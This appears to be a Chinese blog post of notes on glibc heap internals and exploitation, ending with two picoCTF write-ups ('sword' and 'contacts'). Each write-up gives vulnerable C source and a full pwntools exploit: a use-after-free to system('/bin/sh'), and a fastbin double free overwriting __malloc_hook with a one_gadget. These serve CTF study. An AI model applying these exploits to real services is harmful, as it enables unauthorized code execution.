堆利用

写在前面

这篇文章记录一下glibc堆利用的常见方法,和一些相关的想法和trick的记录

溢出的危险函数

  1. 输入
  • gets,直接读取一行,忽略 ‘\x00’
  • scanf
  • vscanf
  1. 输出
  • sprintf
  1. 字符串
  • strcpy,字符串复制,遇到 ‘\x00’ 停止
  • strcat,字符串拼接,遇到 ‘\x00’ 停止
  • bcopy

malloc

过程

长度位于 fastbin 时:

1. 根据大小获得fastbin的index
2. 根据index获取fastbin中链表的头指针
    如果头指针为 NULL,转去smallbin
3. 将头指针的下一个chunk地址作为链表头指针
4. 分配的chunk保持inuse状态,避免被合并
5. 返回除去chunk_header的地址

长度位于 smallbin 时:

1. 根据大小获得smallbin的index
2. 根据index获取smallbin中双向循环链表的头指针
3. 将链表最后一个chunk赋值给victim
4. if(victim == 表头)
    链表为空,不从smallbin中分配
  else if(victim == 0)
    链表未初始化,将fastbin中的chunk合并
  else
    取出victim,设置inuse
5. 检查victim是否为main_arena,设置标志位
6. 返回除去chunk_header的地址

长度位于 largebin 时:

1. 根据大小获得largebin的index
2. 将fastbin中chunk合并,加入到unsortbin中

面的分配过程并没有完成,当 smallbin 中没有 chunk 或者 smallbin 未初始化时,并没有返回分配结果,这种情况下的chunk分配将在后面与largebin的分配一起处理

unsortedbin:

1. 反向遍历unsortedbin,检查 2*size_t<chunk_size<内存总分配量
2. unsortedbin的特殊分配:
        如果前一步smallbin分配未完成
        并且 unsortedbin中只有一个chunk
        并且该chunk为 last remainder chunk
        并且该chunk大小 >(所需大小+最小分配大小)
   则切分一块分配
3. 如果请求大小正好等于当前遍历chunk的大小,则直接分配
4. 继续遍历,将合适大小的chunk加入到smallbin中,向前插入作为链表的第一个chunk。(smallbin中每个链表中chunk大小相同)
5. 将合适大小的chunk加入到largebin中,插入到合适的位置(largebin中每个链表chunk由大到小排列)

largebin:

1. 反向遍历largebin,由下到上查找,找到合适大小后切分
    切分后大小<最小分配大小,返回整个chunk,会略大于申请大小
    切分后大小>最小分配大小,加入 unsortedbin。
2. 未找到,index+1,继续寻找

check

  1. 从fastbin中取出chunk后,检查size是否属于fastbin
  2. 从smallbin中除去chunk后,检查victim->bk->fd == victim
  3. 从unsortbin取chunk时,要检查2*size_t<chunk_size<内存总分配量
  4. 从largebin取chunk时,切分后的chunk要加入unsortedbin,需要检查 unsortedbin的第一个chunk的bk是否指向unsortedbin

realloc

当realloc(ptr,size)的size不等于ptr的size时

  1. 如果申请size>原来size
  • 如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
  • 如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
  1. 如果申请size<原来size
  • 如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
  • 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
  1. 当realloc(ptr,size)的size等于0时,相当于free(ptr)
  2. 当realloc(ptr,size)的size等于ptr的size,不进行任何操作

free

  • 调用free函数后,根据chunck size的大小不同把free的chunk放到不同的bin中,会修改的是fd和bk的指针值,其他的用户数据并不会做改动。而基于fastbin的管理机制,下次申请时,这个堆块的内容就可以被重复利用
  • 有时结构体中带有函数指针,如果在调用这个函数前没有做好相应的判断而且free掉指针后没有置NULL,就会形成use after free漏洞:主要是利用溢出或者fastbin的机制修改函数指针的位置,然后UAF来getshell
  • free的检查主要是根据本chunk的size检测下一块的inuse位,查看是否有double free的情况发生检查当前free的chunk是否与fastbin中的第一个chunk相同,相同则报错根据当前的inuse以及后一块的后一块的inuse判断是否需要合并,如果需要合并则对在链表中的freebin进行unlink操作

fastbin

源码里有fastbin最大size的定义,64位机是160bytes.

1
2
3
4
1570	/* The maximum fastbin request size we support */
1571 #define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
...
mfastbinptr fastbinsY[NFASTBINS];

shape

一般来说,NFASTBINS算出来是10,64位的fastbin和32位的不同,前者从0x20开始依次加0x10,后者从0x10开始,依次加0x08. 64位的fastbin情况如下:

1
2
3
4
5
6
7
8
9
10
11
//这里的size指整个chunk大小
Fastbins[idx=0, size=0x20]
Fastbins[idx=1, size=0x30]
Fastbins[idx=2, size=0x40]
Fastbins[idx=3, size=0x50]
Fastbins[idx=4, size=0x60]
Fastbins[idx=5, size=0x70]
Fastbins[idx=6, size=0x80]
Fastbins[idx=7, size=0x90]
Fastbins[idx=8, size=0xa0]
Fastbins[idx=9, size=0xb0]

如果我们进行测试,就会发现我们最大malloc(120),size=128的chunk才是fast chunk,free后可以放到fastbinsY[6]中去,但是如果我们malloc(128),free后却放到了unsortbin中去,也就是说index= or 8也是用不上的,这里我们看代码:

1
2
3
729	#ifndef DEFAULT_MXFAST
730 #define DEFAULT_MXFAST (64 * SIZE_SZ / 4)
731 #endif

32位同理,也只用到64字节,72和80的也是没有用的

fasbin_index

根据size计算fastbin的index,这里的size指的是整个chunk的size,也就是chunk header中标记的size

1
2
##define fastbin_index(sz)                                                      \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

size check

值得注意的是,我们在 main 函数的第一步就进行了bss_chunk.size=0x21;的操作这是因为_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前fastbin 链表应有 size 不符就会抛出异常。

Bins

概述

bin在内存中用来管理free chunk,bin为带有头结点(链表头部不是chunk)的链表数组。Bins在malloc_state中的定义是这样的:

1
2
3
#define NBINS 128
/* Normal bins packed as described above */
mchunkptr bins[ NBINS * 2 - 2 ];

其中idx=1是unsorted bin,idx=2~63是small bin,idx=64~126是largebin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsortedbin:
双向循环链表
不排序
暂时存储free后的chunk,一段时间后会将chunk放入对应的bin中
只有一个链表
smallbin:
双向循环链表
sizeof(chunk) <= 504 | 1008(bytes)
先进先出(类似队列)
16,24...64,72...508 bytes(62个链表)
32,48...1008
largebin:
双向循环链表
sizeof(chunk) >= 512 | 1024(bytes)
free chunk中多两个指针分别指向前后的large chunk
63个链表:0-31(512+64*i)
32-48(2496+512*i)
...
链表中chunk大小不固定,先大后小

bins

空间复用

从上图可以非常清晰的看出空间复用!具体细节下面图也展示清楚了
bins

unsorted bin

unsorted bin 中的空闲 chunk 处于乱序状态,主要有两个来源

  • 当一个(多大?)较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  • 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话
    此外,Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO

smallbin

smallbin

unlink

unlink的原理在于unlink宏在处理时会互写数据造成任意地址写。经过改进后的unlink宏增加了check,但是可以通过一个指向堆上的指针导致绕过情况。待补充

ptmalloc中相关宏的判断

  • chunk overlapping的原理在于ptmalloc的堆块验证机制的不完善,通过一些ptmalloc定义的宏就可以看出这一点。
  • inuse():仅通过下一块的inuse位来判定当前块是否使用.
  • prev_chunk():如果前一个块为空,那么进行空块合并时,仅使用本块的prev_size来寻找前块的头。
  • next_chunk():仅通过本块头+本块大小的方式来寻找下一块的头
  • chunksize():仅通过本块的size确定本块的大小。

malloc_hook

在利用fastbin的double_free的时候,如果可以把malloc_hook的地址改成one_gadget的内容,再次malloc就能直接getshell.但是想要double free必须过size check,这里有一个办法是用同样一个libc,gdb进去之后把p (void *)&main_arena往上找错位的可以符合fastbin大小的size,一般都是可以直接找到一个0x7f.在libc-2.23版本下,应该是malloc_hook网上偏移35个字节的地方可以作为一个新的chunk被申请,也就是malloc_hook往上偏移27个字节的地方是0x7f.根据fastbin_index的宏来看应该被分配到0x70的bin中,所以利用0x70的fastbin来构造double free即可,这个地址可以用libc.symbols['__malloc_hook'] - 35得到.同理也可以处理__free_hook,找法一样。

调试

踩过的一些坑记录一下:

  • pwntools写到一半attach进去的时候最后一行不要用recv(),而是用recvall().不然会在莫名其妙的地方进程被terminate.但是有的时候程序recvall()也没有真的recv所有的内容,然后就会先跳到一些奇怪的地方。所以最好的办法还是recvuntil,如果可以的话。

实例

picoctf——sword

没有开PIE,所以不用泄露加载地址。题目给了源码,其实不给也ok. 同时提供了libc,但是在调用equip函数时没有判断is_used,是一个非常明显的uaf漏洞。而且申请堆块的大小符合fastbin的特点,利用前一次申请到的char *name中写入got_libc_start_main然后重新malloc来泄露libc基址,然后再用同样的方法写入system和shellstr。具体的题目和wp如下:
sword.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

#define MAX_SWORD_NUM 6
#define READ_INT_BUF_LEN 32
#define MAX_SWORD_LEN 0x100
#define FORGE_TIME 2
#define ALARM_TIME 30

struct sword_s {
int name_len;
int weight;

char *sword_name;
void (*use_sword)(char *ptr);
int is_hardened;
};

struct sword_list_s {
int is_used;
struct sword_s *sword;
};

struct sword_list_s sword_lists[MAX_SWORD_NUM];

void show_menu() {
printf("/* Welcome! */\n"
"1. Forge a sword.\n"
"2. Synthesise two sword.\n"
"3. Show a sword.\n"
"4. Destroy a sword.\n"
"5. Harden a sword.\n"
"6. Equip a sword.\n"
"7. Quit.\n");
}

void free_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}

sword_lists[slot].is_used = 0;
char *name = sword_lists[slot].sword->sword_name;

free(sword_lists[slot].sword);
free(name);
}

int get_int(void) {
char str[READ_INT_BUF_LEN];
char ch;
int i;

for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' &&
i < READ_INT_BUF_LEN - 1 && ch != -1; i++) {
str[i] = ch;
}
str[i] = '\x00';
return atoi(str);
}

int pick_sword_free_slot() {
for (int i = 0; i < MAX_SWORD_NUM; i++) {
if (!sword_lists[i].is_used) {
return i;
}
}
return -1;
}

void show_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}

if (sword_lists[slot].is_used == 0) {
printf("Haha!!! There is a hacker!!\n");
exit(-1);
}

printf("The weight is %u\n",
(unsigned int)sword_lists[slot].sword->weight);
printf("The name is %s\n", sword_lists[slot].sword->sword_name);
}

void hoo(char *name) {
printf("I use sword %s..... It's so cooool!\n", name);
}

void harden_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}

if (sword_lists[slot].sword->is_hardened) {
printf("This sword is already hardened!\n");
return;
}

printf("What's the length of the sword name?\n");

/* Get name_len. */
int len = get_int();
if (len < 0) {
printf("Oh no there is a hacker!!!!\n");
exit(-1);
}

if (len > MAX_SWORD_LEN) {
printf("The name is too long.\n");
free(sword_lists[slot].sword);
return;
}

sword_lists[slot].sword->name_len = len;

/* Get sword name. */
sword_lists[slot].sword->sword_name = malloc(len + 1);

if (!sword_lists[slot].sword->sword_name) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}

printf("Plz input the sword name.\n");

char ch;
int i;
for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' &&
i < len && ch != -1; i++) {
sword_lists[slot].sword->sword_name[i] = ch;
}
sword_lists[slot].sword->sword_name[i] = '\x00';

/* Get sword weight. */
printf("What's the weight of the sword?\n");
int weight = get_int();

printf("OK....Plz wait for forging the sword..........\n");
sleep((weight + 1) * 10000000);

sword_lists[slot].sword->weight = weight;
sword_lists[slot].sword->use_sword = hoo;
sword_lists[slot].sword->is_hardened = 1;
}

void equip_sword() {
int slot;
printf("What's the index of the sword?\n");
slot = get_int();
if (slot < 0 || slot >= MAX_SWORD_NUM ||
!sword_lists[slot].sword) {
printf("I don't trust your number!!!!\n");
exit(-1);
}

/* Apparently there should be system('/bin/sh'). */
(sword_lists[slot].sword->use_sword)(sword_lists[slot].sword->sword_name);
}

/* Vuln. */
void synthe_sword() {
int slot_1, slot_2;
printf("What's the index of the first sword?\n");
slot_1 = get_int();
if (slot_1 < 0 || slot_1 >= MAX_SWORD_NUM ||
!sword_lists[slot_1].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}

printf("What's the index of the second sword?\n");
slot_2 = get_int();
if (slot_2 < 0 || slot_2 >= MAX_SWORD_NUM ||
!sword_lists[slot_2].is_used) {
printf("I don't trust your number!!!!\n");
exit(-1);
}

printf("OK.... Forge two swords now!!\n");
struct sword_list_s sword1_list = sword_lists[slot_1];
struct sword_list_s sword2_list = sword_lists[slot_2];

/* Two swords are lost. */
sword1_list.is_used = sword2_list.is_used = 0;

sleep(FORGE_TIME);

/* Combinne two names together. */
sword2_list.sword->sword_name = realloc(sword2_list.sword->sword_name,
sword1_list.sword->name_len + sword2_list.sword->name_len + 1);
if (!sword2_list.sword->sword_name) {
exit(-1);
}

memcpy(sword2_list.sword->sword_name + sword2_list.sword->name_len,
sword1_list.sword->sword_name, sword1_list.sword->name_len);

sword2_list.sword->name_len += sword1_list.sword->name_len;

/* New sword is created. */
sword2_list.is_used = 1;

/* Clear the first sword. */
free(sword1_list.sword->sword_name); //UAF 点

printf("YOu have the NEW sword!\n");
}

void create_sword() {
int slot = pick_sword_free_slot();
if (slot == -1) {
printf("Oh my! There are no slot for new swords!\n");
return;
}

sword_lists[slot].sword = malloc(sizeof(struct sword_s));
if (!sword_lists[slot].sword) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}

sword_lists[slot].is_used = 1;
sword_lists[slot].sword->is_hardened = 0;
printf("New sword is forged ^_^. sword index is %d.\n", slot);
}

void alarm_handler(int sig) {
printf("Blade master is angry!\n");
exit(-1);
}

int main() {


setvbuf(stdout, NULL, _IONBF, 0);

/* If someone can print some ascii art, that should be better. */

signal(SIGALRM, alarm_handler);
alarm(ALARM_TIME);

char buf[READ_INT_BUF_LEN];
while (1) {
show_menu();

if (read(STDIN_FILENO, buf, READ_INT_BUF_LEN) == 0) {
return -1;
}

int command = atoi(buf);
switch (command) {
case 1:
create_sword();
break;

case 2:
synthe_sword();
break;

case 3:
show_sword();
break;

case 4:
free_sword();
break;

case 5:
harden_sword();
break;

case 6:
equip_sword();
break;

case 7:
printf("Thank you!\n");
break;

default:
break;
}
}
}

write up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
import sys
context.log_level = 'debug'

def menu(x):
p.recvuntil('Quit.\n')
p.sendline(str(x))

def syn(x,y):
p.recvuntil('first sword?\n')
p.sendline(str(x))
p.recvuntil('second sword?\n')
p.sendline(str(y))
p.recvuntil('NEW sword!\n')

def equip(x):
p.recvuntil('sword?\n')
p.sendline(str(x))
p.recvuntil('so cooool!\n')

def free(x):
p.recvuntil('sword?\n')
p.sendline(str(x))

def harden(x, lenth, name):
p.recvuntil('sword?\n')
p.sendline(str(x))
p.recvuntil('name?\n')
p.sendline(str(lenth))
p.recvuntil('sword name.\n')
p.sendline(name)
p.recvuntil('weight of the sword?\n')
p.sendline('-1')
p.recvuntil('..........\n')

elf = ELF('./sword')
libc = ELF('./libc.so.6')
libc_start_got = elf.got['__libc_start_main']
hoo_addr = elf.symbols['hoo']

p = remote(sys.argv[1],sys.argv[2])
# get the libc base
# create
menu(1)
menu(5)
harden(0,32,'a'*8+p64(libc_start_got)+p64(hoo_addr))
# free
menu(4)
free(0)
# create
menu(1)
menu(6)
p.recvuntil('sword?\n')
p.sendline('0\n')
p.recvuntil('sword ')
libc_start_addr = u64(p.recvuntil('cooool!\n')[:6]+'\x00\x00')
libc_base = libc_start_addr - libc.symbols['__libc_start_main']
sys_addr = libc_base + libc.symbols['system']
shellstr = libc_base + libc.search('/bin/sh').next()

menu(5)
harden(0,32,'a'*8+p64(shellstr)+p64(sys_addr))
# free
menu(4)
free(0)
# create
menu(1)
menu(6)
p.interactive()
# 0
# cat flag.txt

pico——contacts

这题我倒是研究了很久,虽然源码没有sword长,但是利用手段要复杂一些。第一步一样利用fastbin特性泄露地址,因为bio是任意写的,写好内容后free再构造好malloc出来到name上,泄露__libc_start_main地址。后面的想法很自然是找到system地址然后想办法把free的got内容改了,调用delete_contact,把name或者bio的内容写成’/bin/sh’.但是当时不知道size check,后面报错了才发现这个坑。改为利用malloc_hook,找main_arena就花了半天劲,发现可能开了PIE就没符号了,载入源码也不成。搞了半天,后来想到如果是同一个libc,就算偏移不一样,但是如果存在0x0000000007f的数据,那么这个数据离malloc_hook或者离main_arena的距离肯定是一定的。所以自己随便写了个带malloc的代码用gdb找到了这块位置,得出偏移是35.最后一个卡住的地方:用fgets读101个字节的时候读不进去,不知道是堆上的保护还是什么情况,后面单不调试到这里发现没有读进去东西,因为malloc一个0x70大小的chunk有一个范围,改小一点之后可以写入成功,所以就构造出了double free的循环链表。写one_gadget地址的时候,有时会失败,那自然是条件没有满足,换一个继续就好。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX_CONTACTS 16

struct contact {
char *name;
char *bio;
};

struct contact *contacts[MAX_CONTACTS];
unsigned int num_contacts = 0;

void print_contacts(){
for (int i = 0; i < num_contacts; i++){
if (contacts[i]->bio != NULL){
printf("%s - %s\n", contacts[i]->name, contacts[i]->bio);
}else{
printf("%s - (No bio)\n", contacts[i]->name);
}
}
}

struct contact *find_contact(char *name){
for (int i = 0; i < num_contacts; i++){
if (!strcmp(name, contacts[i]->name)){
return contacts[i];
}
}
return NULL;
}

void create_contact(char *name){
if (num_contacts == MAX_CONTACTS){
puts("Too many contacts! Delete one first!");
return;
}

struct contact *contact = (struct contact *)malloc(sizeof(struct contact));
if (contact == NULL){
puts("Could not allocate new contact.");
exit(-1);
};

/* make a copy of the name on the heap */
contact->name = strdup(name);
if (contact->name == NULL){
puts("Could not duplicate name.");
exit(-1);
}

contacts[num_contacts++] = contact;
}

void delete_contact(struct contact *contact){
free(contact->name);

/* if the bio is set, free it as well */
if (contact->bio != NULL){
free(contact->bio);
}


free(contact);

/* replace the corresponding index with the last contact and decrement num_contacts */
for (int i = 0; i < num_contacts; i++){
if (contacts[i] == contact){
contacts[i] = contacts[num_contacts - 1];
num_contacts--;
break;
}
}
}

void set_bio(struct contact *contact){
char input[4];
size_t length;

/* we'll replace the old bio */
if (contact->bio != NULL){
free(contact->bio);
}

puts("How long will the bio be?");
if (fgets(input, 4, stdin) == NULL){
puts("Couldn't read length.");
return;
};

length = strtoul(input, NULL, 10);
if (length > 255){
puts("Bio must be at most 255 characters.");
return;
}

contact->bio = (char *)malloc(length+1);
if (contact->bio == NULL){
puts("Couldn't allocate bio.");
exit(-1);
}

puts("Enter your new bio:");
if (fgets(contact->bio, length+1, stdin) == NULL){
puts("Couldn't read bio.");
return;
}

puts("Bio recorded.");
}

void menu(){
puts("Available commands:");
puts("\tdisplay - display the contacts");
puts("\tcreate [name] - create a new contact");
puts("\tdelete [name] - delete an existing contact");
puts("\tbio [name] - set the bio for an existing contact");
puts("\tquit - exit the program");
}

int process_cmd(char *cmd){
struct contact *contact;
char *name;

if (!strncmp(cmd, "display", 7)){
print_contacts();

}else if (!strncmp(cmd, "create", 6)){
name = strtok(&cmd[7], "\n");
if (name == NULL){
puts("Invalid command");
return 0;
}

create_contact(name);
printf("Created contact \"%s\"\n", name);

}else if (!strncmp(cmd, "delete", 6)){
name = strtok(&cmd[7], "\n");
if (name == NULL){
puts("Invalid command");
return 0;
}

contact = find_contact(name);
if (contact == NULL){
puts("Can't find contact");
return 0;
}

delete_contact(contact);
printf("Deleted contact \"%s\"\n", name);

}else if (!strncmp(cmd, "bio", 3)){
name = strtok(&cmd[4], "\n");
if (name == NULL){
puts("Invalid command");
return 0;
}

contact = find_contact(name);
if (contact == NULL){
puts("Can't find contact");
return 0;
}

set_bio(contact);

}else if (!strncmp(cmd, "quit", 4)){
return 1;
}else{
puts("Invalid option");
menu();
}
return 0;
}

void command_loop(){
char buf[512];

menu();
while(1){
puts("\nEnter your command:");
putchar('>'); putchar(' ');

if(fgets(buf, 512, stdin) == NULL)
break;

if (process_cmd(buf)){
return;
}
}
}

int main(int argc, char **argv){
/* Don't buffer stdout. */
setbuf(stdout, NULL);

command_loop();
}

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
import sys
context.log_level = 'debug'
elf = ELF('./contacts')
libc = ELF('./libc.so.6')

p = remote(sys.argv[1],sys.argv[2])

p.recvuntil('> ')
name = 'a'*8+p64(elf.got['__libc_start_main'])
p.sendline('create '+ name)
p.recvuntil('> ')
p.sendline('bio '+ name)
p.recvuntil('be?\n')
p.sendline('16')
p.recvuntil('bio:\n')
p.sendline('this is my bioh')
p.recvuntil('> ')

p.sendline('delete ' + name)
p.recvuntil('> ')
p.sendline('create name1')
p.recvuntil('> ')
p.sendline('create name2')
p.recvuntil('> ')
p.sendline('display')
p.recvuntil('name2 - ')
_libc_start_main_addr = u64(p.recvuntil('\n')[:-1] + '\x00' + '\x00')
libc_base = _libc_start_main_addr - libc.symbols['__libc_start_main']
sys_addr = libc_base + libc.symbols['system']
print libc_base


malloc_hook = libc_base + libc.symbols['__malloc_hook']
inject_point = malloc_hook - 35
print inject_point
one_gadget = libc_base + 0x4526a

p.recvuntil('> ')
p.sendline('create name3')
p.recvuntil('> ')
p.sendline('create name4')
p.recvuntil('> ')
p.sendline('bio name4')
p.recvuntil('be?\n')
p.sendline('100')
p.recvuntil('bio:\n')
p.sendline('4'*99)
p.recvuntil('> ')
p.sendline('bio name3')
p.recvuntil('be?\n')
p.sendline('100')
p.recvuntil('bio:\n')
p.sendline('7'*99)



p.recvuntil('> ')
p.sendline('bio name4')
p.recvuntil('be?\n')
p.sendline('666')
p.recvuntil('> ')
p.sendline('bio name3')
p.recvuntil('be?\n')
p.sendline('666')
p.recvuntil('> ')
p.sendline('delete name4')
p.recvuntil('> ')

p.sendline('create name5')
p.recvuntil('> ')
p.sendline('create name7')
p.recvuntil('> ')
print 'name7'
pause()
p.sendline('bio name7')
p.recvuntil('be?\n')
p.sendline('89')
p.recvuntil('bio:\n')
p.sendline(p64(inject_point))

pause()

p.recvuntil('> ')
p.sendline('create ' + '8'*100)
p.recvuntil('> ')
p.sendline('create ' + '9'*100)
p.recvuntil('> ')
p.sendline('create name11')
p.recvuntil('> ')
p.sendline('bio name11')
p.recvuntil('be?\n')
p.sendline('89')
p.recvuntil('bio:\n')
p.sendline('a'*19 + p64(one_gadget))
p.recvuntil('> ')
p.sendline('create getshell')
p.interactive()
文章目录
  1. 1. 写在前面
  2. 2. 溢出的危险函数
  3. 3. malloc
    1. 3.1. 过程
    2. 3.2. check
  4. 4. realloc
  5. 5. free
  6. 6. fastbin
    1. 6.1. shape
    2. 6.2. fasbin_index
    3. 6.3. size check
  7. 7. Bins
    1. 7.1. 概述
    2. 7.2. 空间复用
    3. 7.3. unsorted bin
    4. 7.4. smallbin
    5. 7.5. unlink
    6. 7.6. ptmalloc中相关宏的判断
    7. 7.7. malloc_hook
  8. 8. 调试
  9. 9. 实例
    1. 9.1. picoctf——sword
    2. 9.2. pico——contacts
      1. 9.2.1. 题目
      2. 9.2.2. writeup
|